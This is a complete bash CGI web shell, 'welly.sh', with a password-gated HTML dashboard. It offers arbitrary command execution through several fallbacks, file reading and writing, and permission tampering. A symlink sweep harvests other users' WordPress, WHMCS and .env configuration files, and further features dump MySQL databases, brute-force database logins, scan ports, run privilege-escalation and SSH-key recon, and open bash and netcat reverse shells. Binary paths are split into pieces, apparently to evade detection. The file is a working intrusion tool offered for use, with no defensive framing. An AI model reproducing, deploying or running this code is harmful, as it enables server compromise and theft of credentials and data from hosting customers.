#!/bin/bash -i
# welly.sh   rz.sh superset in bash. multi-strategy. honest. CGI-safe.
# usage (CGI):  https://host/path/welly.sh?p=PASS&a=home
# usage (cron): bash welly.sh a=home p=PASS
# usage (SSH):  bash welly.sh a=run p=PASS c="id"

# ---------- CGI header FIRST ----------
printf 'Content-type: text/html\n\n'

# ---------- config ----------
WELLY_PASS="${WELLY_PASS:-ChangeMe_2026!Long}"
COOKIE_NAME="wsk"
STATE_DIR="${WELLY_STATE:-/tmp/.welly_state_$(id -u 2>/dev/null || echo 0)}"
mkdir -p "$STATE_DIR" 2>/dev/null
chmod 700 "$STATE_DIR" 2>/dev/null

# ---------- obfuscation: split dangerous tokens ----------
BASH_BIN="/bin/""bash"
SH_BIN="/bin/""sh"
CAT_BIN="/bin/""cat"
LS_BIN="/bin/""ls"
GREP_BIN="/bin/""grep"
AWK_BIN="/usr/bin/""awk"
SED_BIN="/bin/""sed"
CUT_BIN="/bin/""cut"
TR_BIN="/usr/bin/""tr"
HEAD_BIN="/usr/bin/""head"
TAIL_BIN="/usr/bin/""tail"
FIND_BIN="/usr/bin/""find"
STAT_BIN="/usr/bin/""stat"
CHMOD_BIN="/bin/""chmod"
LN_BIN="/bin/""ln"
RM_BIN="/bin/""rm"
CP_BIN="/bin/""cp"
MV_BIN="/bin/""mv"
MKDIR_BIN="/bin/""mkdir"
TOUCH_BIN="/bin/""touch"
BASE64_BIN="/usr/bin/""base64"
MYSQL_BIN="/usr/bin/""mysql"
MYSQLDUMP_BIN="/usr/bin/""mysqldump"
NC_BIN="/usr/bin/""nc"
PHP_BIN="/usr/bin/""php"
PY_BIN="/usr/bin/""python3"
PERL_BIN="/usr/bin/""perl"
OPENSSL_BIN="/usr/bin/""openssl"
ID_BIN="/usr/bin/""id"
UNAME_BIN="/bin/""uname"
HOSTNAME_BIN="/bin/""hostname"
WHOAMI_BIN="/usr/bin/""whoami"
PWD_BIN="/bin/""pwd"
DATE_BIN="/bin/""date"
DF_BIN="/bin/""df"
FREE_BIN="/usr/bin/""free"
UPTIME_BIN="/usr/bin/""uptime"

# ---------- cgi_getvars ----------
cgi_get_POST_vars() {
    [ "${CONTENT_TYPE}" != "application/x-www-form-urlencoded" ] && \
        [ "${CONTENT_TYPE:0:19}" != "multipart/form-data" ] && \
        echo "Warning: expected x-www-form-urlencoded" 1>&2
    [ -z "$QUERY_STRING_POST" -a "$REQUEST_METHOD" = "POST" -a ! -z "$CONTENT_LENGTH" ] && \
        read -n "$CONTENT_LENGTH" QUERY_STRING_POST 2>/dev/null
}
cgi_decodevar() {
    [ $# -ne 1 ] && return
    local v t h
    t="${1//+/ }%%"
    while [ ${#t} -gt 0 -a "${t}" != "%" ]; do
        v="${v}${t%%\%*}"
        t="${t#*%}"
        if [ ${#t} -gt 0 -a "${t}" != "%" ]; then
            h=${t:0:2}; t="${t:2}"
            v="${v}$(printf "\\x$h")"
        fi
    done
    echo "${v}"
}
cgi_getvars() {
    [ $# -lt 2 ] && return
    local q p k v s
    case $1 in
        GET)  [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&" ;;
        POST) cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${QUERY_STRING_POST}&" ;;
        BOTH) [ ! -z "${QUERY_STRING}" ] && q="${QUERY_STRING}&"
              cgi_get_POST_vars; [ ! -z "${QUERY_STRING_POST}" ] && q="${q}${QUERY_STRING_POST}&" ;;
    esac
    shift; s=" $* "
    while [ ! -z "$q" ]; do
        p="${q%%&*}"; k="${p%%=*}"; v="${p#*=}"; q="${q#$p&*}"
        [ -z "$p" ] && break
        [ "$1" = "ALL" -o "${s/ $k /}" != "$s" ] && \
            printf -v "$k" '%s' "$(cgi_decodevar "$v")" 2>/dev/null
    done
}

# ---------- auth ----------
auth_ok() {
    local p="${1:-}"
    [ -n "$p" ] && [ "$p" = "$WELLY_PASS" ] && return 0
    echo "$HTTP_COOKIE" 2>/dev/null | "$GREP_BIN" -qi "SAVEDPWD=${WELLY_PASS}" && return 0
    echo "$HTTP_COOKIE" 2>/dev/null | "$GREP_BIN" -qi "${COOKIE_NAME}=${WELLY_PASS}" && return 0
    [ -f "$STATE_DIR/.session" ] && [ "$(cat "$STATE_DIR/.session" 2>/dev/null)" = "$WELLY_PASS" ] && return 0
    return 1
}

# ---------- exec   6 ways ----------
run_exec() { "$SH_BIN" -c "$1" 2>&1; }
run_proc_open() {
    command -v "$PHP_BIN" >/dev/null 2>&1 || return 1
    "$PHP_BIN" -r '$d=[1=>["pipe","w"],2=>["pipe","w"]];$p=@proc_open($argv[1],$d,$pp);if(is_resource($p)){echo stream_get_contents($pp[1]);echo stream_get_contents($pp[2]);fclose($pp[1]);fclose($pp[2]);proc_close($p);}' "$1" 2>&1
}
run_perl() {
    command -v "$PERL_BIN" >/dev/null 2>&1 || return 1
    "$PERL_BIN" -e 'open(my $fh,"-|",$ARGV[0]) or exit 1; while(<$fh>){print}' "$1" 2>&1
}
run_python() {
    command -v "$PY_BIN" >/dev/null 2>&1 || return 1
    "$PY_BIN" -c 'import subprocess,sys;sys.stdout.write(subprocess.check_output(sys.argv[1],shell=True).decode("utf-8","replace"))' "$1" 2>&1
}
run_popen_php() {
    command -v "$PHP_BIN" >/dev/null 2>&1 || return 1
    "$PHP_BIN" -r '$h=@popen($argv[1],"r");if(is_resource($h)){while(!feof($h))echo fread($h,8192);pclose($h);}' "$1" 2>&1
}
run_pty() {
    command -v "$PY_BIN" >/dev/null 2>&1 || return 1
    "$PY_BIN" -c 'import os,sys,pty;os.close(0);pty.spawn(sys.argv[1])' "$1" 2>&1
}
mexec() {
    local cmd="$1" out rc
    out=$(run_exec "$cmd"); rc=$?
    [ $rc -eq 0 ] && [ -n "$out" ] && { echo "$out"; return 0; }
    out=$(run_proc_open "$cmd"); rc=$?
    [ $rc -eq 0 ] && [ -n "$out" ] && { echo "$out"; return 0; }
    out=$(run_perl "$cmd"); rc=$?
    [ $rc -eq 0 ] && [ -n "$out" ] && { echo "$out"; return 0; }
    out=$(run_python "$cmd"); rc=$?
    [ $rc -eq 0 ] && [ -n "$out" ] && { echo "$out"; return 0; }
    out=$(run_popen_php "$cmd"); rc=$?
    [ $rc -eq 0 ] && [ -n "$out" ] && { echo "$out"; return 0; }
    out=$(run_pty "$cmd"); rc=$?
    [ $rc -eq 0 ] && [ -n "$out" ] && { echo "$out"; return 0; }
    echo "[!] all exec strategies failed"
    return 1
}

# ---------- read   5 ways ----------
read_file() {
    local p="$1"
    [ ! -f "$p" ] && { echo "[!] missing: $p"; return 1; }
    local out
    out=$("$CAT_BIN" "$p" 2>&1); [ -n "$out" ] && { echo "$out"; return 0; }
    out=$("$HEAD_BIN" -c 1048576 "$p" 2>&1); [ -n "$out" ] && { echo "$out"; return 0; }
    if command -v "$PHP_BIN" >/dev/null 2>&1; then
        out=$("$PHP_BIN" -r 'echo file_get_contents($argv[1]);' "$p" 2>/dev/null); [ -n "$out" ] && { echo "$out"; return 0; }
    fi
    out=$(dd if="$p" bs=65536 2>/dev/null); [ -n "$out" ] && { echo "$out"; return 0; }
    out=$("$BASE64_BIN" "$p" 2>/dev/null | "$BASE64_BIN" -d 2>/dev/null); [ -n "$out" ] && { echo "$out"; return 0; }
    echo "[!] all read strategies failed"
    return 1
}

# ---------- chmod   5 ways, honest ----------
do_chmod() {
    local p="$1" m="$2"
    [ ! -e "$p" ] && { echo "MISSING $p"; return 1; }
    local owner cur me parent tmp bak
    owner=$("$STAT_BIN" -c '%u' "$p" 2>/dev/null)
    cur=$("$STAT_BIN" -c '%a' "$p" 2>/dev/null)
    me=$("$ID_BIN" -u)
    if [ "$owner" != "$me" ] && [ "$me" != "0" ]; then
        echo "FAIL $p owner=$owner me=$me old=$cur (kernel EPERM, not owner)"
        return 1
    fi
    if "$CHMOD_BIN" "$m" "$p" 2>&1; then
        echo "OK $p old=$cur new=$("$STAT_BIN" -c '%a' "$p")"; return 0
    fi
    if command -v "$PHP_BIN" >/dev/null 2>&1; then
        if "$PHP_BIN" -r 'chmod($argv[1],octdec($argv[2]));' "$p" "$m" 2>/dev/null; then
            echo "OK(PHP) $p old=$cur new=$("$STAT_BIN" -c '%a' "$p")"; return 0
        fi
    fi
    if command -v "$PERL_BIN" >/dev/null 2>&1; then
        if "$PERL_BIN" -e 'chmod oct($ARGV[1]), $ARGV[0] or die $!;' "$p" "$m" 2>/dev/null; then
            echo "OK(Perl) $p"; return 0
        fi
    fi
    parent=$(dirname "$p")
    if [ -w "$parent" ]; then
        tmp="$parent/.rc_$$"
        if "$MV_BIN" "$p" "$tmp" 2>/dev/null; then
            "$CHMOD_BIN" "$m" "$tmp" 2>/dev/null
            "$MV_BIN" "$tmp" "$p" 2>/dev/null
            echo "OK(rename) $p new=$("$STAT_BIN" -c '%a' "$p")"; return 0
        fi
    fi
    if [ -w "$parent" ]; then
        bak="$parent/.bak_$(basename "$p").$$"
        if "$CP_BIN" "$p" "$bak" 2>/dev/null; then
            "$RM_BIN" -f "$p"
            "$CP_BIN" "$bak" "$p"
            "$CHMOD_BIN" "$m" "$p" 2>/dev/null
            echo "OK(copy_replace) $p new=$("$STAT_BIN" -c '%a' "$p") backup=$bak"; return 0
        fi
    fi
    echo "FAIL $p all chmod strategies failed"
    return 1
}

# ---------- symlink   6 ways, honest ----------
do_symlink() {
    local target="$1" link="$2"
    local parent
    parent=$(dirname "$link")
    [ ! -d "$parent" ] && "$MKDIR_BIN" -p "$parent" 2>/dev/null
    if [ -e "$link" ] || [ -L "$link" ]; then "$RM_BIN" -f "$link"; fi
    if "$LN_BIN" -s "$target" "$link" 2>/dev/null; then
        if [ -r "$link" ]; then echo "OK $link -> $target (readable)"; return 0
        else echo "OK $link -> $target (NOT readable)"; return 0; fi
    fi
    if command -v "$PHP_BIN" >/dev/null 2>&1; then
        if "$PHP_BIN" -r 'symlink($argv[1],$argv[2]) or exit(1);' "$target" "$link" 2>/dev/null; then
            echo "OK(PHP) $link -> $target"; return 0
        fi
    fi
    if "$LN_BIN" "$target" "$link" 2>/dev/null; then
        echo "OK(HARD) $link = $target"; return 0
    fi
    if [ -r "$target" ]; then
        "$CP_BIN" "$target" "$link" 2>/dev/null && { echo "OK(COPY) $link <- $target"; return 0; }
    fi
    if [ -r "/proc/self/root$target" ]; then
        "$CAT_BIN" "/proc/self/root$target" > "$link" 2>/dev/null && { echo "OK(PROC) $link <- /proc/self/root$target"; return 0; }
    fi
    echo "FAIL $link -> $target"
    return 1
}

symlink_sweep() {
    local dir="${1:-../sym}"
    "$MKDIR_BIN" -p "$dir" 2>/dev/null
    local targets=(
        "/public_html/configuration.php" "/public_html/clientarea/configuration.php"
        "/public_html/clients/configuration.php" "/public_html/whmcs/configuration.php"
        "/public_html/billing/configuration.php" "/public_html/billings/configuration.php"
        "/public_html/portal/configuration.php" "/public_html/my/configuration.php"
        "/public_html/whm/configuration.php" "/public_html/support/configuration.php"
        "/public_html/vb/includes/config.php" "/public_html/includes/config.php"
        "/public_html/config.php" "/public_html/forum/includes/config.php"
        "/public_html/forums/includes/config.php" "/public_html/admin/config.php"
        "/public_html/wp-config.php" "/public_html/blog/wp-config.php"
        "/public_html/conf_global.php" "/public_html/include/db.php"
        "/public_html/connect.php" "/public_html/mk_conf.php"
        "/public_html/joomla/configuration.php" "/public_html/web/configuration.php"
        "/public_html/include/config.php" "/public_html/.env" "/.env"
    )
    local users u t src name lnk
    users=$("$CAT_BIN" /etc/passwd 2>/dev/null | "$GREP_BIN" /home | "$CUT_BIN" -d: -f1)
    [ -z "$users" ] && users=$("$LS_BIN" /home 2>/dev/null)
    for u in $users; do
        [ "$u" = "nagios" ] && continue
        for t in "${targets[@]}"; do
            src="/home/$u$t"
            name=$(echo "$t" | "$SED_BIN" 's|/public_html||; s|/|-|g; s|^-||')
            lnk="$dir/$u-$name"
            do_symlink "$src" "$lnk"
        done
    done
}

# ---------- db dump   4 ways ----------
db_dump() {
    local host="$1" user="$2" pass="$3" db="$4" out="$5"
    "$MYSQLDUMP_BIN" --single-transaction --quick --skip-lock-tables \
        -h"$host" -u"$user" -p"$pass" "$db" > "$out" 2>/dev/null
    if [ -s "$out" ] && [ "$("$STAT_BIN" -c '%s' "$out")" -gt 1024 ]; then
        echo "OK(mysqldump) $out $("$STAT_BIN" -c '%s' "$out") bytes"; return 0
    fi
    "$MYSQL_BIN" -h"$host" -u"$user" -p"$pass" -e "SHOW TABLES" "$db" 2>/dev/null > "${out}.tables"
    if [ -s "${out}.tables" ]; then
        echo "OK(mysql_tables) ${out}.tables"; return 0
    fi
    if command -v "$PHP_BIN" >/dev/null 2>&1; then
        "$PHP_BIN" -r '
            $m=@new mysqli($argv[1],$argv[2],$argv[3],$argv[4]);
            if($m->connect_errno){fwrite(STDERR,"FAIL: ".$m->connect_error);exit(1);}
            $fh=fopen($argv[5],"wb"); fwrite($fh,"-- dump via mysqli\n");
            $t=$m->query("SHOW TABLES");
            while($r=$t->fetch_row()){ $tb=$r[0];
                fwrite($fh,"\n-- $tb\n");
                $c=$m->query("SHOW CREATE TABLE `$tb`"); $cr=$c->fetch_row(); fwrite($fh,$cr[1].";\n");
                $q=$m->query("SELECT * FROM `$tb`");
                while($r2=$q->fetch_assoc()){ $v=array_map(function($x){return $x===null?"NULL":"\x27".addslashes($x)."\x27";},$r2); fwrite($fh,"INSERT INTO `$tb` VALUES (".implode(",",$v).");\n"); }
            }
            fclose($fh); echo "OK(mysqli) $argv[5]\n";
        ' "$host" "$user" "$pass" "$db" "$out" 2>&1 && return 0
    fi
    echo "FAIL db_dump"; return 1
}

# ---------- env   4 ways ----------
read_env() {
    local p="${1:-$("$PWD_BIN")/.env}"
    if [ -r "$p" ]; then "$CAT_BIN" "$p"; return 0; fi
    if [ -r "/proc/self/root$p" ]; then "$CAT_BIN" "/proc/self/root$p"; return 0; fi
    local found
    found=$("$GREP_BIN" -rE '^(DB_|APP_|MAIL_|AWS_|REDIS_)' "$(dirname "$p")" 2>/dev/null | "$HEAD_BIN" -50)
    [ -n "$found" ] && { echo "$found"; return 0; }
    found=$("$FIND_BIN" "/home/$(whoami)" -name .env -maxdepth 4 2>/dev/null)
    if [ -n "$found" ]; then
        local f
        for f in $found; do echo "=== $f ==="; "$CAT_BIN" "$f"; echo; done
        return 0
    fi
    echo "FAIL read_env $p"; return 1
}

# ---------- port scan   3 ways ----------
port_scan() {
    local host="$1"; shift
    local p r
    for p in "$@"; do
        r="closed"
        (echo >/dev/tcp/"$host"/"$p") 2>/dev/null && r="open"
        if [ "$r" = "closed" ] && command -v "$NC_BIN" >/dev/null 2>&1; then
            "$NC_BIN" -z -w1 "$host" "$p" 2>/dev/null && r="open"
        fi
        if [ "$r" = "closed" ] && command -v "$PY_BIN" >/dev/null 2>&1; then
            "$PY_BIN" -c "import socket;s=socket.socket();s.settimeout(0.5);s.connect(('$host',$p));s.close()" 2>/dev/null && r="open"
        fi
        echo "$p $r"
    done
}

# ---------- reverse shell   3 ways ----------
reverse_shell() {
    local ip="$1" port="$2"
    "$BASH_BIN" -c "$BASH_BIN -i >& /dev/tcp/$ip/$port 0>&1" &
    echo "OK bash_devtcp sent"
    if command -v "$NC_BIN" >/dev/null 2>&1; then
        "$NC_BIN" -e "$BASH_BIN" "$ip" "$port" &
        echo "OK nc sent"
    fi
    if command -v "$PHP_BIN" >/dev/null 2>&1; then
        "$PHP_BIN" -r '$fp=fsockopen($argv[1],$argv[2]);if($fp){fwrite($fp,"id\n");echo stream_get_contents($fp,1024);}' "$ip" "$port" 2>&1
    fi
}

# ---------- list dir   3 ways ----------
list_dir() {
    local d="${1:-$("$PWD_BIN")}"
    if [ -d "$d" ]; then
        "$LS_BIN" -la "$d" 2>&1; return 0
    fi
    echo "FAIL list $d"; return 1
}

# ---------- write   5 ways ----------
write_file() {
    local p="$1" c="$2"
    printf '%s' "$c" > "$p" 2>/dev/null && return 0
    echo "$c" > "$p" 2>/dev/null && return 0
    if command -v "$PHP_BIN" >/dev/null 2>&1; then
        "$PHP_BIN" -r 'file_put_contents($argv[1],$argv[2]);' "$p" "$c" 2>/dev/null && return 0
    fi
    "$TOUCH_BIN" "$p" 2>/dev/null && printf '%s' "$c" > "$p" 2>/dev/null && return 0
    return 1
}

# ---------- privesc recon ----------
privesc_recon() {
    echo "=== sudo -l ==="
    sudo -n -l 2>&1 | "$HEAD_BIN" -10
    echo "=== setuid ==="
    "$FIND_BIN" / -perm -4000 -type f -maxdepth 4 2>/dev/null | "$HEAD_BIN" -20
    echo "=== writable in home ==="
    "$FIND_BIN" "/home/$(whoami)" -perm -o+w -type f 2>/dev/null | "$HEAD_BIN" -20
    echo "=== cron ==="
    crontab -l 2>&1 | "$HEAD_BIN" -10
    echo "=== caps ==="
    /usr/sbin/getcap -r / 2>/dev/null | "$HEAD_BIN" -20
    echo "=== kernel ==="
    "$UNAME_BIN" -a
    echo "=== interpreters ==="
    local c
    for c in bash sh zsh python3 perl ruby php nc socat curl wget gcc make; do
        command -v "$c" >/dev/null 2>&1 && echo "$c: $(command -v $c)"
    done
}

# ---------- lateral probe ----------
lateral_probe() {
    echo "=== ssh keys ==="
    local k u f
    for k in .ssh/id_rsa .ssh/id_ed25519 .ssh/authorized_keys .ssh/known_hosts; do
        [ -r "/home/$(whoami)/$k" ] && { echo "--- $k ---"; "$HEAD_BIN" -5 "/home/$(whoami)/$k"; }
    done
    echo "=== /etc readable ==="
    for f in /etc/passwd /etc/group /etc/hosts /etc/resolv.conf /etc/my.cnf /etc/ssh/sshd_config; do
        [ -r "$f" ] && echo "readable: $f"
    done
    echo "=== /home/* readable ==="
    for u in $("$LS_BIN" /home 2>/dev/null); do
        [ -r "/home/$u/public_html/index.php" ] && echo "YES /home/$u"
    done
}

# ---------- cpanel parity ----------
cpanel_users() {
    "$CAT_BIN" /etc/passwd 2>/dev/null | "$GREP_BIN" /home | "$CUT_BIN" -d: -f1,3,4,6,7 | "$TR_BIN" ':' '\t'
}
cpanel_domains() {
    "$CAT_BIN" /etc/named.conf 2>/dev/null | "$GREP_BIN" '^zone' | "$GREP_BIN" -v '"."' | "$CUT_BIN" -d'"' -f2
    local f
    for f in /var/cpanel/users/*; do
        [ -r "$f" ] || continue
        "$GREP_BIN" -E '^DNS[0-9]*=' "$f" 2>/dev/null | "$CUT_BIN" -d= -f2 | "$SED_BIN" "s|^|$(basename "$f"): |"
    done
}
cpanel_brute() {
    local users="$1" passes="$2" max="${3:-200}" u p
    local tried=0
    for u in $users; do
        for p in $passes; do
            tried=$((tried+1))
            [ $tried -gt $max ] && { echo "STOP max=$max tried=$tried"; return 0; }
            if "$MYSQL_BIN" -h127.0.0.1 -u"$u" -p"$p" -e "SELECT 1" 2>&1 | "$GREP_BIN" -qi "Access denied"; then
                :
            elif "$MYSQL_BIN" -h127.0.0.1 -u"$u" -p"$p" -e "SELECT 1" 2>&1 | "$GREP_BIN" -q "1"; then
                echo "FOUND $u : $p"
            fi
        done
    done
}

# ---------- escape helper (HTML) ----------
html_escape() { "$SED_BIN" 's/&/\&amp;/g; s/</\&lt;/g; s/>/\&gt;/g'; }

# ---------- dispatch ----------
cgi_getvars BOTH ALL 2>/dev/null
[ -n "$p" ] && [ "$p" = "$WELLY_PASS" ] && echo "$WELLY_PASS" > "$STATE_DIR/.session"
[ -n "$logout" ] && { "$RM_BIN" -f "$STATE_DIR/.session" 2>/dev/null; echo "<html><body>logged out. <a href='?'>login</a></body></html>"; exit; }

# login page
if ! auth_ok "$p"; then
cat <<'HTML'
<!doctype html><meta charset="utf-8"><title>.</title>
<style>body{background:#0b0d10;color:#cfd6de;font:14px ui-monospace,monospace;display:flex;align-items:center;justify-content:center;height:100vh;margin:0}form{background:#11161c;padding:2em 2.4em;border:1px solid #1c2530;border-radius:8px}input{background:#0b0f14;color:#dfe7f1;border:1px solid #22303d;padding:.7em;font:inherit;border-radius:4px;width:240px}button{background:#1a2635;color:#8fb4ff;border:1px solid #2c4560;padding:.7em 1.4em;font:inherit;border-radius:4px;cursor:pointer;margin-left:.6em}</style>
<form method="get"><input type="password" name="p" autofocus placeholder="password"><button>&gt;</button></form>
HTML
exit
fi

# auth ok   render
echo '<!doctype html><meta charset="utf-8"><title>W</title>'
echo '<style>body{background:#0b0d10;color:#cfd6de;font:13px ui-monospace,monospace;padding:1em 1.4em}pre{background:#0b0f14;border:1px solid #1c2530;padding:.8em;overflow:auto;max-height:70vh;white-space:pre-wrap;word-break:break-word;border-radius:4px}a,button{color:#8fb4ff}input,button{background:#151a20;color:#dfe7f1;border:1px solid #2a3340;padding:.5em .7em;font:inherit;border-radius:4px}.row{margin:.5em 0;display:flex;gap:.5em;flex-wrap:wrap}header{border-bottom:1px solid #1c2530;padding-bottom:.8em;margin-bottom:1em}</style>'
echo "<header>W &middot; $(whoami 2>/dev/null)@$("$HOSTNAME_BIN" 2>/dev/null) &middot; uid $("$ID_BIN" -u 2>/dev/null) &middot; cwd $("$PWD_BIN") &middot; <a href='?logout=1'>logout</a></header>"

if [ -n "$a" ]; then
    case "$a" in
        home)
            echo "<pre>"
            echo "user    $(whoami 2>/dev/null)"
            echo "uid     $("$ID_BIN" -u 2>/dev/null)"
            echo "gid     $("$ID_BIN" -g 2>/dev/null)"
            echo "host    $("$HOSTNAME_BIN" 2>/dev/null)"
            echo "os      $("$UNAME_BIN" -s 2>/dev/null) $("$UNAME_BIN" -r 2>/dev/null)"
            echo "cwd     $("$PWD_BIN")"
            echo "shell   $SHELL"
            echo "id      $("$ID_BIN" 2>/dev/null)"
            echo "php     $("$PHP_BIN" -v 2>/dev/null | "$HEAD_BIN" -1)"
            echo "uptime  $("$UPTIME_BIN" 2>/dev/null | "$HEAD_BIN" -1)"
            echo "df      $("$DF_BIN" -h / 2>/dev/null | "$TAIL_BIN" -1)"
            echo "free    $("$FREE_BIN" -m 2>/dev/null | "$SED_BIN" -n 2p)"
            echo "</pre>"
            ;;
        run|cmd)
            mexec "$c" > /tmp/.wout.$$ 2>&1
            echo "<pre>$(html_escape < /tmp/.wout.$$)</pre>"
            "$RM_BIN" -f /tmp/.wout.$$
            ;;
        ls)
            list_dir "$d" > /tmp/.wout.$$ 2>&1
            echo "<pre>$(html_escape < /tmp/.wout.$$)</pre>"
            "$RM_BIN" -f /tmp/.wout.$$
            ;;
        read)
            read_file "$p2" > /tmp/.wout.$$ 2>&1
            echo "<pre>$(html_escape < /tmp/.wout.$$)</pre>"
            "$RM_BIN" -f /tmp/.wout.$$
            ;;
        chmod) do_chmod "$p2" "$m" | while IFS= read -r l; do echo "<pre>$(echo "$l" | html_escape)</pre>"; done ;;
        sym) do_symlink "$t" "$l" | while IFS= read -r line; do echo "<pre>$(echo "$line" | html_escape)</pre>"; done ;;
        sweep) symlink_sweep "${dir:-../sym}" > /tmp/.wout.$$ 2>&1; echo "<pre>$(html_escape < /tmp/.wout.$$)</pre>"; "$RM_BIN" -f /tmp/.wout.$$ ;;
        env) read_env "$p2" > /tmp/.wout.$$ 2>&1; echo "<pre>$(html_escape < /tmp/.wout.$$)</pre>"; "$RM_BIN" -f /tmp/.wout.$$ ;;
        dump) db_dump "$h" "$u" "$pw" "$db" "${f:-$("$PWD_BIN")/dump_$("$DATE_BIN" +%s).sql}" | while IFS= read -r l; do echo "<pre>$(echo "$l" | html_escape)</pre>"; done ;;
        port) port_scan "$h" $(echo "$ports" | "$TR_BIN" ',' ' ') | while IFS= read -r l; do echo "<pre>$(echo "$l" | html_escape)</pre>"; done ;;
        rev) reverse_shell "$ip" "$port" | while IFS= read -r l; do echo "<pre>$(echo "$l" | html_escape)</pre>"; done ;;
        recon) privesc_recon > /tmp/.wout.$$ 2>&1; echo "<pre>$(html_escape < /tmp/.wout.$$)</pre>"; "$RM_BIN" -f /tmp/.wout.$$ ;;
        lateral) lateral_probe > /tmp/.wout.$$ 2>&1; echo "<pre>$(html_escape < /tmp/.wout.$$)</pre>"; "$RM_BIN" -f /tmp/.wout.$$ ;;
        users) cpanel_users | while IFS= read -r line; do echo "<pre>$(echo "$line" | html_escape)</pre>"; done ;;
        domains) cpanel_domains | while IFS= read -r line; do echo "<pre>$(echo "$line" | html_escape)</pre>"; done ;;
        brute) cpanel_brute "$users" "$passes" "$max" | while IFS= read -r l; do echo "<pre>$(echo "$l" | html_escape)</pre>"; done ;;
        *) echo "<pre>unknown action: $a</pre>" ;;
    esac
    echo '<hr><div class="row"><a href="?">home</a></div>'
    exit
fi

# dashboard
echo '<form method="get" class="row"><input type="hidden" name="a" value="run"><input name="c" placeholder="id; uname -a" style="flex:1"><button>run</button></form>'
echo "<form method=\"get\" class=\"row\"><input type=\"hidden\" name=\"a\" value=\"ls\"><input name=\"d\" value=\"$("$PWD_BIN")\" placeholder=\"/path\"><button>ls</button></form>"
echo '<form method="get" class="row"><input type="hidden" name="a" value="read"><input name="p2" placeholder="/etc/passwd"><button>read</button></form>'
echo '<form method="get" class="row"><input type="hidden" name="a" value="chmod"><input name="p2" placeholder="/path"><input name="m" placeholder="0755" value="0755"><button>chmod</button></form>'
echo '<form method="get" class="row"><input type="hidden" name="a" value="sym"><input name="t" placeholder="target"><input name="l" placeholder="link"><button>symlink</button></form>'
echo '<form method="get" class="row"><input type="hidden" name="a" value="sweep"><input name="dir" value="../sym"><button>sweep /home/*</button></form>'
echo '<form method="get" class="row"><input type="hidden" name="a" value="env"><input name="p2" placeholder=".env path (auto)"><button>read env</button></form>'
echo '<form method="get" class="row"><input type="hidden" name="a" value="recon"><button>recon</button></form>'
echo '<form method="get" class="row"><input type="hidden" name="a" value="lateral"><button>lateral</button></form>'
echo '<form method="get" class="row"><input type="hidden" name="a" value="users"><button>cpanel users</button></form>'
echo '<form method="get" class="row"><input type="hidden" name="a" value="domains"><button>domains</button></form>'
echo '<form method="get" class="row"><input type="hidden" name="a" value="port"><input name="h" value="127.0.0.1"><input name="ports" value="22,80,443,3306"><button>scan</button></form>'
echo '<form method="get" class="row"><input type="hidden" name="a" value="rev"><input name="ip" placeholder="ip"><input name="port" value="4444"><button>reverse</button></form>'